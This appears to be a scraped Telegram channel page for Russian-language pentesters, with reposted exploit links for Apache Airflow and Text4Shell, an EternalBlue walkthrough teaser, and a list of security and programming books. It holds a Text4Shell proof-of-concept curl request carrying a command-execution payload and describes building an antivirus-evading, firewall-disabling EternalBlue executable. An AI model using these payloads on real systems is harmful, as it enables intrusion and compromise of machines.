en
Feedback
Эффект пентестера

Эффект пентестера

Open in Telegram
2 261
Subscribers
No data24 hours
+37 days
-1030 days
Posts Archive
CVE-2022-40127 Apache Airflow < 2.4.0 DAG example_bash_operator RCE https://github.com/Mr-xn/CVE-2022-40127

Repost from N/a
Apache Text4Shell (CVE-2022-42889) PoC curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.get.Runtime%28%29.exec%28%5C%27%27%2E%74%72%69%6D%28%24%63%6D%64%29%2E%27%5C%27%29%7D

Repost from N/a
https://github.com/jfrog/text4shell-tools CVE-2022-42889 text4shell? The vulnerability is also related to variable interpolation in Commons Text. This vulnerability (CVE-2022-33980) was found in the Apache Commons configuration and has the same severity as the new vulnerability.

💥Exploit Eternal Blue (MS17–010) for Window 7 and higher (custom payload) This walkthrough has been prepared in such a way that it should always work on systems running on Windows 7 or higher and vulnerable for MS17–010. See my other blog for the Windows XP procedure. We will exploit the 'Eternal Blue' vulnerability with custom payload. To be exact, we will create an executable file that: 🔓is not detected as malware by the Windows Defender software 🔓disables the Windows Firewall 🔓works on systems without (access to) PowerShell

|Win7Blue| Scan/Exploit - EternalBlue MS17-010 - Windows 7 x86/x64 Вы сами знаете, где используют win7 и EternalBlue не нуждается в представлении... You yourself know where win7 is used and EternalBlue needs no introduction...

GHSL-2022-017: Arbitrary command execution through Apache Commons Configuration - CVE-2022-33980 https://securitylab.github.com/advisories/GHSL-2022-017_Apache_Commons_Configuration/

Bash. Карманный справочник системного администратора. 2-е издание. 2017 Арно Роббинс

Путь Ruby. Третье издание. 2016 Хэл Фултон, Андрэ Арко

The Nmap cookbook: Beat the Beast. 2021

Легкий способ выучить Python 3. 2021 Зед Шоу

Пси-воздействия и защита от них. Борис Константинович Ратников

Изучаем SQL. 2018 Линн Бейли

Certified Ethical Hacker (CEH) v11 312-50 Exam Guide.

Современный PowerShell. 2022 Андрей Попов

Совершенный алгоритм. Основы. 2021 Рафгарден Тим

Совершенный алгоритм. Жадные алгоритмы и динамическое программирование. 2021 Рафгарден Тим

Социальная инженерия и этичный хакинг на практике. 2023 Джо Грей

Тренажер мозга по методикам СССР. Память, внимание, интеллект. 2022 Антон Могучий

RTFM Red Team Field Manual VERSION 2.0. 2022